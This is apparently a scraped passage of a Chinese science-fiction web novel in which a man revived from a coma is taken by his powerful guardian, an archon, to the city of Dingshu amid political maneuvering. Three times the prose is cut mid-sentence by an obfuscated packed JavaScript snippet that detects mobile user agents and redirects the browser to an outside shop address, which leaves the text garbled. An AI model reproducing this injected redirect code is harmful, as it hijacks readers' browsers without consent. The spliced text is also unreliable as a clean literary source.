把三个地点都做上标记,两点之间连线,轮廓是一个等边三角形,而它们之间的交点。 “在这里!” 就在它们身后的喷泉。 “这些雕塑有什么意义,所有人都是一个表情。” 同样的表情,同样的装扮,同样的动作。 薇塔星说: 监护人是轻松,体面,高薪,稳定的工作; 监护人需要温柔,平和,博学,包容,不许过分突出,也不许穿除了工作服以外的衣服,不许佩戴收拾,不许打耳洞,定期修剪指甲,不能超过范围,不许染头发; 监护人不可能哭泣,不能软弱,不能畏惧。 所以雕像的神情是温柔平和的,姿态是大方舒展的,它们张开双臂,象征接纳一切,奉献自身。 相当奇怪且要求严苛的职业,综合了过去人类社会母亲老师保姆的全部要求,除去外表妆容之类的限制外,竟然还要规训性格。 只有晴天,不经风雨的温室,会培养出怎样的孩子?他不得而知。 “上面有机关,手臂关节能动!” “有什么提示吗,摆成什么姿势,或者说连成字母?” 这是一个拥抱的姿势。 陈寄言把它们的手转动方向,由外向内,变成了拥抱自己。 水流停止,水池中央缓缓升起一个操作台。 “你好聪明啊陈寄言!”林繁毫不吝啬夸奖,纪希已经登上台阶开始研究操作。 “这里是总开关,另外还有两个操作台,我们分开行动。” “剧院,你们有去过剧院吗?” “我知道路,我去。” “那我去入口,纪希你留下。” 陈寄言很顺利地找到了另一个操作台,位于观众席最前排的中央。 他回忆着薇塔星消失前的动作,思考其中有什么含义。 “自毁程序。” 所以之前,这里也被毁灭了,是谁做的?监护人?孩子?还是外来者? “陈寄言。” “我不记得我有告诉过你名字。” 他刚才就想问,但显然先离开这里比较重要,分开的时候也没有提。 “入口那边我已经按了,出去之后,你要去哪?” “我来的地方。” “还真是警惕啊,酊枢的人。” 事实上,他并不知道自己应该给出什么回答。因为他不知道出去之后世界是什么样子,当然能回去继续做一个普通的社畜更好。 “跟我们走吧。”林繁终于说出自己的目的。 陈寄言松了口气,相比未知,明确的目的更让人安心。 “你们?” “会长特地交代,你不能留在这里。” “研究所的人只是想利用我们找到那件东西,考试结束之后你会继续被控制,现在是最好的时机,我们已经干扰他们的信号。” “手环有定位系统,你们会长准备怎么解决?” 他记下这些词,同时让小E帮查找资料。 效率出奇地快。 但是没有之前客观,谈起两者似乎都很嫌弃,带着弄弄的嘲讽。 【研究所,聚集了一堆废物的精神病收容所】 【博士,自命不凡的老不死】 这种带有强烈主管褒贬的词是能进入系统词汇的吗? 怎么好像一夜之间换了风格?难道是被病毒入侵了? “总有办法,现在不是说这个的时候!”看到陈寄言手腕上的东西,他整个人忽然变得急躁,迫不及待上前两步。 他真担心下一秒对方直接砍断他的左手。 “抱歉,我暂时没有这个想法。” “你已被研究所洗脑了,陈寄言,你是人,不是实验品!” 他突然变得暴躁,陈寄言冷静后退几步,试图在周围寻找可以用来脱身的东西。 “你看,你也叫的是编号,大家进来这里的,谁不是实验品,明知道有危险,还要让你们两个过来,那个会长也不见得在意自己人的安全。” 只有监护人可以信任,他时刻谨记这一点,直到游今洄出现之前,他不会跟任何人离开,没有人能够保证他的安全。 至于隐藏在手环中的系统,既然能够无声交流,一定给跟大脑神经有关联,物理拆除既不安全也不一定有效。 他继续上前一步还要再说什么,突然面色一变:“那些人要过来了,我先去引开,4759,我希望你认真考虑我的建议。” 那些居民,暂且叫做NPC,眼神空洞,动作僵硬,一直在重复一套活动,然而现在夜晚降临,他们却不约而同放下手中一切事务,自发地向中心喷泉聚集。 他们都在向同一个地方涌来,剧院。 机不可失,陈寄言找到操作杆,用力扳下。 他站在昨天薇塔星的位置,从远到近,此起彼伏的爆炸声接踵而来。 雕花的墙壁和石柱,鹅卵石铺就的街道,生机勃勃的花墙,灿烂的阳光,远处洁白的火山顶…… 那些虚幻的表象在震天的爆炸声中破碎,露出底下真实的断壁残垣,冰冷的,陈旧的,血的味道。 所有NPC的身影开始消散,表情从茫然,痛苦,到释怀,安详。 “快走,酊枢来人了!” “跟着我,军方会接应。” 林繁和纪希从不同方向赶来,他们拥有同样的身份,背后却是不同的阵营,聚在这里只是为了拼凑出一个真相。 一个早就已经被炸毁的,桑夏恩消失的真相。 在他眼中,世界是破碎的,声音都开始变得模糊,陈寄言不知道应该去哪里。 系统再次警告生命体征临界值,他的脑袋阵痛,他得找到游今洄。 “小E,接下来怎么做,找个安全地方开启死亡待机模式?” 他也没有别的可以求助的人。 【站在原地,等着。】 于是他很老实站在原地。 “我觉得那个什么研究所和会长都不是什么好东西,你说我监护人是真的死了吗,真的不管我了?” “我在等什么,新的监护人?他会突然诈尸来接我吗?” “还是说薇塔星对我另有安排,总觉得她比较靠谱。”真心的,陈寄言来这里遇到最靠谱的还得是薇塔星。 【很吵,闭嘴】 然而想法是不受控制的,越是这种濒临死亡的紧张时刻思维越活跃。 “我感觉剧院这里也撑不了多久,所以游今洄他——”到底会不会来? 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772044|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头】 他听话仰头,天空挂着一轮很圆的月亮。 “看见了,这月亮像假的,看着比路灯还亮。” 他点评完,假月亮像气球一样被一条直线戳破了。 好科幻,好离谱。 那条直线没有拐弯,直接冲着他的方向过来。流星一样,周围还有因高速而与空气擦出的火花。 “你确定我现在还要待在原地吗,我怎么觉得自己在的这个方向有点危险?” 然而再危险也没有给他反应时间了,距离越来越近,陈寄言看清了飞过来的东西。 是列车。 “你们这里的地铁都流行在天上飞吗?”他震撼到失语。 别的不说,速度确实很快。 “上来。” 门后的人像在拍电影一样,单手扶着门框,另一只手做出一个逗猫似的邀请的动作。 且双手都带着半截黑色手套。 “好装一男的。” “你说什么?” ?他还能听见自己心里在想什么? 电光火石间他忽然意识到什么,打开系统操作页面,基础资料那里。 账号还是自己的没有错,只是后面跟随着一个鲜艳的红色名字,操作者:游今洄 所以说,不是变异,也不是个性化更新,是某个名为游今洄的病毒,滥用监护人职责,擅自更改了他系统的主控权。 游今洄见人迟迟不动,撇开门框跳下来。落地拎着人就往回带。 “想什么?” “大哥你这样我很没面子。” 他毕竟是身高178体重60公斤的成年男人。 还有,“如果你死亡,遗产是由我继承吗?” 开口第一句招呼这么清新脱俗,游今洄少见地笑了。 “第一顺位继承人是配偶,然后是父母子女,你的话,排最后。” “除非有遗嘱。” 那太遗憾了。 陈寄言得知这个稍微有点残忍的真相,非常失望地向前扑倒,连人带门一起摔了进去。 身体彻底进入列车的一瞬,背后炸开了绚烂的蜘蛛网一样的结构,有什么东西擦着他的左耳飞过,身后是接二连三的爆鸣。 等差不多半分钟,陈寄言意识到自己跪坐在他新监护人身上,漆黑的枪口正对他心脏。 他扣下扳机,没有子弹,胸前徽章镶嵌的晶石应声而碎掉。 窗户是玻璃,通过反光,他看清了刚刚站在地面上出手的人,是纪希。 他面无表情收好手中的道具,无事发生一样离开。 “起来。” 陈寄言背抵着门,慢慢直起身。 “游今洄?” 男人脱手套的动作停顿一下,“你也可以这么叫我。” “请问怎么称呼?”这反应一看就是他踩雷了。 “他们习惯叫我执政官。” 陈寄言觉得跟他共处一室很有压迫感,果然是当领导的。 “有没有亲民一点的叫法?”他不是自己监护人吗,而且叫执政官好中二。 “或者他们也时常亲切地叫我狗贼。” 太亲民了。 “好的执政官大人。”他从善如流。 车厢陷入短暂尴尬的沉默,刚才威风凛凛的执政官似乎受了伤,看他准备自己包扎,陈寄言识趣地低头不语,疯狂呼叫自己的系统。 “你很吵。” “?”苍天可鉴,他一个字都没说。 而后又明白了什么,抬头怒视:“系统的权限,可以还给我吗?” “哦,”经他提醒,游今洄似乎才想起来。 劈里啪啦一阵响,他知道自己之前的系统回来了。 “在我脑袋里放鞭炮是什么意思?” “庆祝您终于和新监护人见面!” “对不起,如果吵到您,我立刻关掉。” “不用,放着吧。” 正好去去晦气。 “不太好。” “?”到底谁是主人? “有不明物体接近列车,您要做好准备。” “做什么准——” 整个车厢剧烈震动,他滚到了另一边。 “抱歉。”陈寄言默默移开自己的爪子,他本来在研究指南针拆出来的磁石,尖锐的一角在他未来的衣食父母脖子上划过,留下一道淡淡的血痕。 他真的不是蓄意谋杀好继承遗产的。 5. 濒危物种 薇塔星说现在的社会稳定繁荣,技术甚至超越了人类历史的最大值,他本来没什么感觉,系统,ai,还有与世隔绝被作为实验室的桑夏恩,都很好接受。 直到看见在天上飞的列车,陈寄言真的有了穿越的实感。 虽然之前生活的社会也有无人驾驶,倒悬列车,但跟这种肉眼可见没有任何媒介在空中穿梭自如比飞机还要快的交通工具时,还是会被深深震撼。 有点类似于磁悬浮列车,只不过是倒过来的,速度最快的代步工具,只要设定好目的地,人工智能会自动勘测合适的轨道,以最短距离到达目的地。 因为是随机设定,所以即便起始点完全相同,路线也可能不一致。 因为速度过快,无法预测或探寻到运动轨迹,如果想要获取某人的出行信息,可以在两地之间设置音波/磁场干扰装置,大致测算可能路径,然后选点堵人。 所以截停不止需要消息灵通,同时要有使用探测仪的权限,同时也必须财大气粗。 满足这三个条件的,游今洄一只手数的过来,不用想也知道是谁。 一旁的陈寄言事不关己地猜测: “狂热追求者?” “来追杀你的仇人?” “总不至于是来抓我的吧?”他可一个人都不认识。 这个未成年很不安分,还是之前那样躺在恒脉好,安静,省事。 陈寄言看着被截停的车厢外,一群人训练有素地开门建立临时通道,觉得他身边也不安全。 “不开门吗?”他心里疑惑,不过他也没敢问。 虽然来者截停了列车,但还算有礼貌地扣了扣门,问道:“请问陈寄言先生在吗?” 陈寄言收起幸灾乐祸的神色,愣在原地,还真是来找他的。 他本能把目光投向新监护人,希望他能像对自己那么硬气且不讲道理。 同时停在半空是很危险的,游今洄却不着急开门。 “他跟我走。”游今洄头也不抬。 新监护人没有辜负他的期待,如果他主管每次跟其他部门经理吵架也是这个态度,简直不敢想能省下多少麻烦。 好霸道,好冷酷,好帅气! “我们还是想要询问下本人的意愿,尤其” 游今洄没有多余的话,冷冷的眼神扫视过去,一大群人立在门外,不敢再说。 “只是对身体进行全方位检测,毕竟是第一次苏醒后的数据,不会很久。”虽然截停的动作很不友好,但说话很讲礼貌,几乎算得上是低声下气。 大约一分钟过去,门外的人听见一声冷淡的可以。 怎么突然这么好说话了?收回刚才的夸奖。 “现在处理,十分钟。” 游今洄命令下达完毕,立在一边。 没有任何人说话,气氛诡异,安静得令人害怕,陈寄言任人摆弄,不敢出声。 研究员很有职业素养,在限定的10分钟内完成初步检查。 “没有问题,很健康,多嘴一句,你愿意留在研究所吗?” 顶着执政官的压力,不卑不亢。 “忘了自我介绍,我叫赵霖,目前是负责实验室的组长。” 另一边的游今洄头也不抬,似乎笃定这种挖墙脚毫无威胁。 “研究所?” “就是漏成筛子让你被csa的蠢货找到机会偷运出去的爱心公益组织。” 赵霖尴尬笑笑。 “虽然游先生是您的法定监护人没错,可是他忙于公务,无法及时照看您,我们小组所在的恒脉Lab是最适合修养的,地方大且自由……” 十几年的心血啊!他的实验数据!他的一作!他的奖金! “恒脉会有人定期检测数据,而且配备24小时的智能监控,完全不必担心,一旦有问题,三分钟内会有值班人员赶到……” 虽然不是炙手可热前途光明的项目组,但是给钱大方从来不拖欠工资,老板也额外宽容对他们从来不做要求,保证人活着就是他们最大的功劳,不敢想之后真的研究出成果后前途会有多光明,毕业不在话下,升职加薪更不用说,科研立项都不用费力去拉投资,说不定院长都要看他们脸色,之后可以骑着研发组上班! 陈寄言被他眼中熊熊燃烧的火焰吓晕,穿好衣服起身送客。 “不了谢谢。”他是什么珍稀动物吗,还24小时监控。 “好的,如果您改变主意,请随时跟我联系。” 赵霖带着人遗憾离场,列车门合上,另一边游今洄重新设定轨道继续前行。 陈寄言站在不远不近的地方看着他面前操作显示屏,好像没什么难度,跟导航差不多,只不过面板上多出了许多数值,风速,湿度,还有一截蓝条,他猜测是剩余能量。 没等他细看,游今洄三两下拨完,随手扔了一个白色未知物体到陈寄言怀里。 “带着。” “这是?”看着像微型风扇,指甲盖大小。 “净化过滤的,外面跟桑夏恩不同,家里没研究所的条件,暂时先用这个代替。” 尺寸卡在手环刚好合适,没有特别的反应,也许是因为终于放松,他觉得呼吸都顺畅了很多。 问题来了,既然有这好东西,为什么不一上车就给他? “你知道研究所会来人,担心我跟他们走?” “后悔也没用,你已经做出了选择。” 什么意思,他还能有选择? 上位者当久了就是会有说话故作高深的毛病,好像这样就显得他们深不可测更能让人敬畏。 之后很长一段时间应该就是跟着这个新监护人了,陈寄言觉得自己有必要在一开始就把话说明白。 “那个,执政官大人,我的情况你好像非常清楚,但是我对你还有这个地方一无所知,而且我本人是非常讨厌做选择的,相信你在这里的丰富经验会做出合适的决定,如果有什么要求请说清楚,我一定努力去做。” “希望我们合作愉快。” 一个指令具体清楚的直属领导是非常重要的,但愿对方是讲道理的人。 如果不是,他也没办法,只能将就着凑合过,毕竟从一开始来到这里,就没人问他的意见。 系统显示FS指数增加,他不懂一长串字符的含义,暂且当作某种对人体有害的化学成分,当作空气污染物,就很好理解了。 一大批研究员带着仪器撤走,陈寄言总算有机会观察车厢内部。 很空旷,游今洄在的一方有办工桌和沙发,其他两边都是很窄的座位,像个小型会议室。 “我习惯在这开会,不舒服的话,之后可以换家具。” “不是说,一般不太远的目的地,十五分钟就能到?” “没错。” 连这十五分钟都不放过要用来开会,他的下属真不容易。 难怪他一进来就不舒服,原来是班味太重,被熏到。 没有下次了,他不会再想坐这辆车。 【系统已接入,酊枢。】 “小陈!我回来了!有没有想念你亲爱的系统!” “小陈?” “这样称呼不对吗?我以为这样更加亲切,能体现我们关系的与众不同,密不可分。” 并没有这样只会让他想起没有边界感的领导同事, “……你受什么刺激了?还是系统出bug?” 虽然对新称呼并不满意,但出于某种诡异的怀念心理,他没反对。 小E迫不及待就要控诉某执政官的恶行。 “啊,你的新监护人也在,竟然需要执政官大人全权操控,真是我的失职。” “你认识他?” “当然,桑夏恩一问三不知只是一个意外,回到酊枢,我可是几乎全知全能的!” 他对这个全知全能持怀疑态度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772045|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “因为你在没有任何准备下从研究所被移走到桑夏恩旧址,偷你的人只注射了一支普通能量药剂,所以你的身体进入防御模式,几乎全部分配到维持生命体征必要的运动上,” “还因为我暂时与酊枢总系统断联,所以展示在你眼前的功能有限。” “现在我大不一样!” “嗯,你有五分钟的时间进行自我介绍。” “好的!” 诶?怎么突然开始面试? “你的优势是什么?” “你对我有什么了解吗?” “你觉得接下来的合作中,会面临的最大问题是什么?” “你认为一个优秀的系统需要具备的品质是什么?之前有遇到过这种极端的情况吗?是怎么解决的,请简单陈述。” “别问难它了,本来就不聪明。” 游今洄看不下去,检索能力不如研究所大型智脑,系统更新迭代又比不上酊枢内网勤快,实用还不如军部自己写的小程序,这种多功能综合废物只适合用来当作备忘录。 适用人群仅限于学龄前儿童。 虽然陈寄言看上去并不是最坏的预想,好像是正常二十多岁年轻人的正常心智,但对他来说,也只不过是从一个需要管吃管喝或许还要人哄着的废物,变成了可以自主觅食的,拥有一定行为能力的濒危物种。 嗯,也还是废物。 但终究是自家的,跟外面的不同,需要多一点耐心。 “或许你不记得,但8岁时,你就已经被我们领养,工作原因,你的领养者没办法照顾你,所以记在我名下,十六年,虽然有生命体征,但一直昏睡不醒,保持植物人状态。” “抱歉啊给您们添麻烦了。”陈寄言接受这部分信息,显然没有人认为之前那个倒霉蛋会醒来,自己不知道算是幸运还是不幸。 “你身体不好,自己也应该清楚了,之前一直是在研究所,既然已经醒来,就没必要再回去。” “监护人信息为什么这么晚才更改,因为系统落后。” 之前一直显示的薇塔星,可实际上,他的前监护人已经死去多年了。 “桑夏恩,是什么时候毁掉的?” “你八岁那年。” “那我过去三天见到的?” “军方为了查明真相,用断壁残垣和一点蛛丝马迹捏造的虚拟影像罢了,这么多年,还真是执着。” 好不容易逮着他的人醒来的时机,还是他不在酊枢的时候。 “军部?” “小孩子不用管。” 他没有再说更多,等着陈寄言继续发问。 “这个称呼,你不觉得有点恶心?” 他也只比自己大几岁而已。 “4759?还是跟你的系统一样叫你小陈?” “哦,或许你还想要听更亲密的,家人间的称呼,寄言?” 一阵鸡皮疙瘩,不熟的同事之间这么称呼已经够让他腻歪的。 “请叫我全名谢谢。” “还有什么问题,现在问,我时间紧张。” “是谁领养我,为什么要领养我?” “改天带你见到她,自己去要答案。” 游今洄是真的很忙,来酊枢的半小时路程里,一半时间应付研究所的人,剩下一半时间对着半人高的显示屏在浏览什么,现在有似乎在接听工作电话。 小E之前说什么?首席执政官嘛,好像还挺厉害的。 那遗产一定很可观吧。 “站在门外干什么,进来。” ??? 你是说,这里一百多平的空间是公摊面积吗?简直有他十个寝室那么大。 步入玄关,再次被巨大的落地窗和目测至少三百平的面积吓到。 你们城里人管大平层叫歇脚的地方。 “不满意忍着,黑户没有选择权。” 黑户留下了羡慕的泪水。 6. 主城酊枢 在别人家,陈寄言也不知道做什么,很拘谨地占据沙发一个小角落,手里端着车上研究员递给他的,喝到一半的饮品。 他身体疲惫,精神却异常兴奋,理智上自己应该休息,这些天被迫接收太多信息,大大超出大脑能处理的极限,看上去平静淡定,实际上已经在濒临崩溃的边缘。 不过这种类似猝死的前兆很熟悉,上班开会时经常这样,身体还能做出警示,反而是好事,意味着只需要短暂休息就能够再次投入工作继续被压榨。 总之,先熟悉下未来工作生活的环境。 这里的装修风格极简,没有一点生活气息,像是3D建模出来的场景,冰冷的蓝调智能家居,银色灯带,甚至连沙发罩这样柔软的织物都是灰色,倒是跟游今洄整个人的气质很配。就是不像活人住的。 人类已经进化到没有任何生理需求吗? 好在忙碌的执政官大人结束工作后,终于想起家里还有另一个活物。 “饮水,” “电源,” “洗浴,” “这些都会用吗?” 陈寄言诚实摇头。 有点过于智能了,他是老古董,只见过扫地机器人。 相比之下,桑夏恩古朴的街道房屋简直像乡下一样,他适应起来就非常自然。 “不用演示,我可以看说明。” 他是成年人不是真的小孩谢谢。 不过一整套体验下来之后,他宣布他爱智能家具,科技的好处就体现在这里。 倒是比想象中要省心,不哭也不闹。 游今洄第一次见他,还是陈寄言12岁的时候。他母亲决定领养这个孩子的时候他不在场,出于对家庭成员的尊重,游女士询问他意愿的时候,他点头同意了的。 游亭忙起来连亲生儿子都顾不上,游今洄一开始对于她要领养的决定很不赞同,她既没这个时间,也没这个精力去照顾小朋友。 “是个安静乖巧的孩子,本来是要给你挑一个妹妹的,不过他太乖了,也很漂亮,而且如果没有人选择他的话,”母亲絮絮叨叨许多优点,游今洄不予置评,小孩子再听话也还是烦人。 “就要被送到哀什流浪了,他的FS抗性指数还是0。” 或许是安静乖巧打动了他,又或许是出于对他命运的怜悯,总之,尚在哀什服役的游今洄默认自己多了一个弟弟。 不同于酊枢的便捷,蔓都的繁华,哀什是被人类放弃的地方,比沙漠还要沉寂,常年盘旋荒原上的风没有温度,刀子似地很轻易能划破人的皮肤,血暴露在空气中的第一秒就开始凝结出灰黑色晶体。 在桑夏恩的摇篮里长大的天真脆弱的孩子,来到这里无异于送死。 “服役结束,”游今洄承诺,“我会去看他。” 其实跟小时候的样子也没有太大的变化,那时候他躺在恒脉最宽敞明亮的房间,游今洄目测他最多只到自己肩膀,十几年过去,他终于醒来,也确实只到自己肩膀。 原来是琥珀色的,他的眼睛。 新历的人,瞳色较浅,大多是灰色,年轻人爱玩,总是隔一段时间染个新色,猎奇的还会染成全白或者全黑。 政府当然拒绝这样的人加入,行政人员作风不能太过轻浮,陈寄言的瞳色就很好看。 如果将来去到政府工作的话…… 他没有选择继续待在研究所,而是跟在自己身边,游今洄思考这么脆弱的小孩在酊枢能做什么。 军防部首先排除,那地方他活不过一天,律政司现在准备已经迟了,教育部,乱七八糟的人太多,财管署,太辛苦。实在不行,要不还是送回蔓都老老实实做富二代,可万一变成花花公子怎么办? 游今洄陷入前所未有的难题,整整三分钟都没思考出答案。 一句弱弱的打扰下拉回思绪,眼神重新落回到这个自己刚领回家的未成年身上。 “请问,有什么食物可以吃吗?” 整整一冰柜的蓝色玻璃瓶,系统检索显示为营养液。 “就是之前注射在你身体里面的东西,不然你现在的体力完全没有办法在桑夏恩坚持三天。” 是的,陈寄言现在每天只有8小时能自由活动,剩余时间睡眠恢复体力。 游今洄没什么动作,冰柜旁边的一个储物柜自动开了,三排包装类似巧克力的东西整整齐齐。 “能量棒,没营养液持久,有不同口味,可以通过咀嚼产生饱腹感。” “没有人吃的吗?”再不忌口,也不能纯喝营养液吧? 他要求真的不高,只是想吃点热东西,药瓶一样的营养液,看着比磨牙棒还硬的能量棒,陈寄言两眼一闭,感觉低血糖要发作。 “这是面包吗?” “同事送的,说是宠物也可以吃。” 宠物指的他从桑夏恩带回来的尼克。 薇塔星的遗产,他还没空研究是什么物种,习性有点像猫,但怎看都是一只胖成球的大老鼠,甚至不知道尼克是怎么出现在列车上的,游今洄领着它的后颈皮要丢出去的时候,陈寄言才认出来急忙阻止。 好吧,第一顿,有点干的全麦面包和清水。 “没关系,”他安慰自己,有面包已经很好了,给尼克也掰了一块,房间里只剩一人一鼠啃东西的声音。 麦香味很浓,咀嚼久了还有一丝丝甜味。 “有没有加热的东西,比如,烤箱之类?” 游今洄在手腕上方轻点两下,“给你开了权限,想要什么自己买。” “冒昧问一句,你的资产……” “这里是我名下最便宜的一套房子,抵得上半个研究所。”不至于穷到连小孩子都养不起。 研究所,顾名思义就是个烧钱的地方,陈寄言植物人期间十几年住在其中最烧钱的恒脉实验室,据工作人员说,百分之七十都是游今洄投资的。 好的,明白,巨有钱。 目前为止,他对这个新监护人的身份比较满意,有钱,出手大方,看着社会地位也不低,以后在他手下讨生活应该比较容易。 惯性思维,游今洄身上很显著的领导者气质还有毛病,让他下意识就把他当作未来老板对待。 “小E,现在你的权限还在他那里?” “已经移交为你,酊枢严格遵循未成年隐私保护法,放心,桑夏恩是紧急极端情况,因本人无自主意识才会暂时将控制权交由监护人代理。” 一般来说这种极端情况其他系统十年都不一定都遇见一次,让它同事知道一定会被狠狠嘲笑,多么黑暗屈辱的历史! 看来这个系统确实是个性化生成的,跟他本人一样窝囊。 岛台的执政官大人似乎接到一则通讯,起来换了一件外套又要出门。 “我出去一趟,两小时左右回来,你,” 他看着非常拘谨只占沙发三分之一角落的陈寄言,用不那么生硬的口吻:“熟悉下环境,不认识的问过系统再动。” 这种家长有事外出叮嘱孩子不要碰电源不要玩火的话,陈寄言小学之后再没听过。 有点憋屈,不过他对这里的确一无所知,认知说不定还不如八岁儿童。 他点点头,目送未来的衣食父母出门。 外面跟他看过的科幻电影很不相同,没有高楼林立,附近的建筑最多也不过两层,他来时匆匆一瞥,看到所谓酊枢的全貌。 巨大的圆柱形建筑高耸入云,腰部两三圈环带绕行,地上的街道,建筑,像电路一样规整排列,源源不断给中心输送能源。 窗外时候有类似刚刚乘坐的空中列车掠过,速度快得肉眼难以看清,方向不同,大都是从中心向四周发射,几秒就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772046|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失在天幕,流星一样。 好巧不巧,又是一个阴雨天,黑云滚滚,酝酿着一场风暴。 他有点怀念桑夏恩的阳光了。 空旷寂静的房子里骤然只剩下他一个人,风声雨声交织,天然的白噪音。 他还裹着从列车上带下来的毯子,感应灯带未检测到生命活动,循序渐进变暗,最后只剩下客厅一角,一盏昏黄的落地灯。 陈寄言整个人被包裹在暖黄色的光晕里,目光涣散,大脑放空。 系统还在喋喋不休介绍着酊枢的运转机制,他自动略过那些长且复杂的名词,一边发呆一边总结出两点: 一,他现在绝对安全。 二,按照他新监护人目前的地位财富权力,只要他不作死,可以潇洒几辈子。 “接下来要洗澡。”眼睛闭上又睁开,“然后换上睡衣躺到床上去,这里的沙发有点硬……” 他在半梦半醒中完成了设想的全部流程,终于安心陷入沉睡。 光屏闪烁两下,彻底熄灭,文字阅读记录还停留在游今洄以压倒性的优势荣登首席,成为史上最年轻的执政官。 “长官,您终于来了!” 新上任的副官是刚毕业没多久的应届生,她全副武装地在议会厅外的长廊等着跟游今洄汇报情况。 传言这位面冷心硬的首席执政官三年换了无数个下属,她好不容易到副部长这个位置,任职满一年就可以转部门,每天都叮嘱自己上百遍小心谨慎,不能重蹈前人覆辙。 结果试用期没过就摊上大事。 “桑夏恩爆炸真相已经传开,所有议会成员已经知晓,已经开始会议。” “卷入其中的三个人,身份已经查明,一个来自默港,另外两个都出自酊枢,军部的纪希,还有就是从研究所被” 她注意到上司不太好看的脸色,果断跳过这段信息。 “三人均受到程度不同的损伤,特别是默港的林繁,CSA那边为了救他折损了一支小队。” “军部做事从来不带脑子,默港怎么说?” “默港那边来质询,要求解释并赔偿。” 也对,毕竟明面上是无辜卷入的受害者。 “提了什么要求。” “他们希望,默港也出一位议员。”最关键但最难说的话总算说出口,高悬于心的巨石总算放下。 其他部长听完可是大骂了一通。 游今洄神色没有半分变化,依旧沉稳,她真的是跟对了好领导,平时严苛点就严吧,关键时刻是真扛事。 “其他人呢?” “没有人愿意让位,还在争吵。” 那群人,再吵三天都不会有结果。 12名议员开会,执政官是没有资格在场干扰投票的,他们另有战场。 副官打开另一侧的会议室门,其余三人已经在等。 “哟,是首席啊,进来吧,他们现在中场休息。” 三人之中,也只有长袖善舞的司闵能对着常年冷面的执政官笑脸相迎。 他日常寒暄,没想到游今洄今天破天荒接话跟他聊天。 “你养猫?” “一般刚接回来的,要怎么养。” 司闵面色如常,内心却很震撼,尽管很难将冷酷无情的执政官跟毛茸茸的生物联系在仪器,还是倾情分享养小动物经验。 “首先,忘记自己有猫这件事,不要打扰它,一段时间适应环境后,就知道找主人了。” “多久。” “看性格吧,我家的猫第三天就找我踩奶撒娇。” “挑食怎么办。” “尽量要营养均衡,不然生病很麻烦,宠物医疗又不报销,贵的要死。” 执政官点头记下,还要再问些什么,连接隔壁会议的投影闪烁两下,中场休息结束,二战开始。 7. 心律不齐 同样布置的房间,圆桌中心是隔壁房间的投影。 到场议员只有七位,其余线上参会,投出的虚影经转播显得颜色更淡,仿佛幽灵。 “讲到哪里了?” 他没有坐到留的主位,找了个视野最好的角度,既可以看见投影,也能居高临下看见余下所有人的动静。 正前方的青年人无奈耸肩,回道: “双方各退一步,老家伙们同意了,现在应该是在商量把谁投下来。”简单解释现状,司闵饶有兴致问: “不关心结果吗?执政官,您的母亲游女士很危险。” 他不搭腔,顿觉索然无味,接着又不怀好意道: “不过你也不在意吧,毕竟当初,游女士可是给你投的反对票。” 游今洄没理会无聊的挑衅,目光移向离他最近的中年人,军防部的总指挥,他有一笔账要算。 “你的副官有放走实验体之嫌,苏怀信,我需要一个解释。” 被点名的中年人波澜不惊开口,大事化小: “年轻人做事总有疏漏,知道后他很愧疚,第一时间派了人去补救。” “所有我没有看错,拿枪支捕捞我的人,就是你口中所谓补救?” 如果陈寄言在这里,一定会发现这个苍白解释的问题,他最后看到纪希手持的武器冲着自己过来,肯定不是被卷入的无辜者,而是跟林繁一样带着目的来。 “实验体是公共资源,4759更是特殊,所有公民都有义务找回,执政官是觉得酊枢一草一木都要听你差遣?” 他说话不急不徐,针锋相对。 一直不发一言的女学者开口:“据我所知,虽然执政官有收养手续,但因为不明因素,4759的信息并没有更新,他的监护人不是你的名字,所以,执政官,也不必咄咄逼人,恶意揣测同僚。” 四个部门大部分时间都是各自为战,鲜少有立场相同的时候,游今洄靠在椅背上,饶有兴趣观看表演。 “大法官,你信息太落后,陈寄言的监护人信息昨天已经写着我的名字,在苏怀信属下好心补救之前。” 他有合理合法的理由和身份发出质询,甚至可以将军事部告上法庭。 “好了,他们开始了,正事要紧,先停战。” 最初发言的司闵出来打圆场。他只是爱煽风点火,又怕烧到自己,偶尔站队游今洄,又不想得罪剩下两位。 游今洄没抬头,注意力全在手环上的一小方屏幕。 他在看家里的监控。 议会有决策权没有行政权,他们四个部门有执行权,他们此刻密切关注着议员构成,毕竟这涉及到部门管理层的任免。 “我们接受默港的条件,但议员更替需要时间,你们先商议好候选人名单。” “已经发送到各位邮箱。” 游今洄的系统邮箱适时收到一份名单,点开,一共有12个名字。 “我们也需要时间商议酊枢这边的” “12个。” “什么?” “12个议员,为什么不能全部让默港参与,毕竟四位刑侦部门的领导都出自酊枢不是吗?” “异想天开!” “这还怎么谈!” 小会议室没人出声,只是脸色都不好看。 